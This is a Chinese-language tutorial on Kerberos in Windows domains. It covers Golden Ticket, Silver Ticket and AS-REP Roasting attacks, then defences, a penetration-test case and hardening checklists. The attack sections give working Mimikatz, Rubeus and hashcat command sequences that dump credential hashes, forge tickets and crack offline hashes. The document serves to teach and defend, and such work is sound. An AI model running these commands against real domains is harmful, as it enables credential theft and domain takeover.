一、Kerberos协议是什么?

想象你进公司大楼需要刷卡,Kerberos就是Windows域环境里的"刷卡系统"。它负责验证你是谁(认证),并决定你能进哪些房间(授权)。这个协议有三个关键角色:

  • 客户机:比如你的办公电脑
  • 域控制器:负责发"门禁卡"的保安
  • 服务:你想访问的打印机、文件服务器等

举个生活例子:你去健身房,前台(域控)核对会员信息后给你手环(Ticket),不同颜色手环能进不同区域(服务权限)。


二、常见的攻击手法

1. 黄金票据(Golden Ticket)

原理:伪造万能门禁卡。攻击者获取域控的KRBTGT账户密码后,可以签发任意服务的访问票据。

技术栈:PowerShell

# 1. 导出KRBTGT账户的NTLM哈希(需域管理员权限)
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName DC01

# 2. 生成黄金票据(示例参数)
Invoke-Mimikatz -Command '"kerberos::golden /user:fakeadmin /domain:contoso.com /sid:S-1-5-21-123456789 /krbtgt:a1b2c3d4e5f6g7h8 /ticket:golden.kirbi"'

# 3. 使用票据访问域控文件共享
.\Rubeus.exe asktgs /ticket:golden.kirbi /service:cifs/dc01.contoso.com

注释:/sid是域SID,/krbtgt是哈希值,生成的文件可绕过密码验证


2. 白银票据(Silver Ticket)

原理:伪造特定服务的"临时通行证"。相比黄金票据,它不需要域控密码,但只能针对单一服务。

示例场景:攻击文件服务器

# 1. 获取服务账户的NTLM哈希(如文件服务器机器账户)
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'

# 2. 生成针对文件服务的白银票据
Invoke-Mimikatz -Command '"kerberos::golden /user:fakeuser /domain:contoso.com /sid:S-1-5-21-123456789 /target:fileserver01 /service:cifs /rc4:1a2b3c4d5e6f7g8 /ticket:silver.kirbi"'

# 3. 直接访问共享文件夹
dir \\fileserver01\财务数据

注释:/rc4是服务账户哈希,/service指定服务类型(如cifs用于文件共享)


3. AS-REP Roasting

原理:趁用户忘记设置"二次验证"时,直接拦截登录凭证。某些账户设置了"不需要预认证",攻击者可以冒充该用户向域控索要加密数据,然后离线破解。

技术演示

# 查找无需预认证的账户
Get-ADUser -Filter 'DoesNotRequirePreAuth -eq $true' -Properties DoesNotRequirePreAuth

# 使用Rubeus工具获取AS-REP响应
.\Rubeus.exe asreproast /user:weakuser /format:hashcat /outfile:hashes.txt

# 用Hashcat破解(示例命令)
hashcat -m 18200 hashes.txt rockyou.txt

注释:此攻击成功率取决于密码强度,建议强制所有账户启用预认证


三、如何防御这些攻击

1. 基础防护措施

  • 定期重置KRBTGT密码:微软建议至少每6个月重置2次(需特殊步骤)
  • 启用LSA保护:防止mimikatz等工具抓取内存密码
# 启用LSA保护(需重启)
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -Value 1 -Type DWORD

2. 高级监控手段

  • 检测异常票据请求:比如同一用户短时间内请求多种服务票据
# 通过Windows事件ID 4769监控异常
Get-WinEvent -LogName "Security" -FilterXPath '*[System[EventID=4769]]' | Where-Object { $_.Message -match "异常服务名" }

3. 架构优化建议

  • 限制域管理员登录范围:禁止域管理员在普通工作站登录
  • 启用Kerberos审计:跟踪TGS请求中的敏感操作

四、实际攻防案例分析

某企业渗透测试记录

  1. 攻击者先通过钓鱼邮件获取普通员工凭据
  2. 发现该员工属于IT组,有权访问内部管理系统
  3. 利用该账户发起Kerberoasting攻击,获取SQL服务账户的TGS票据
  4. 离线破解后,用该凭证横向移动到数据库服务器

防御方改进方案

  • 对所有服务账户启用60字符以上随机密码
  • 部署微软ATA(高级威胁分析)平台检测异常票据请求
  • 实施网络分段,限制数据库服务器的入站连接

五、总结与建议

技术优缺点对比
| 攻击手法 | 优点 | 缺点 |
|----------------|-----------------------|-------------------------------|
| 黄金票据 | 持久控制整个域 | 需要获取域控权限 |
| 白银票据 | 无需接触域控 | 仅对特定服务有效 |
| AS-REP Roasting| 无需初始权限 | 依赖弱密码账户配置 |

给开发者的建议

  • 在代码中避免硬编码域账户凭据
  • 使用组托管服务账户(gMSA)替代传统服务账户
  • 定期审核域内的Kerberos策略(如票证生命周期设置)

给运维人员的清单

  1. 每月检查域控的异常登录事件
  2. 确保所有账户的"Do not require Kerberos preauthentication"未勾选
  3. 关键服务器启用Windows Defender Credential Guard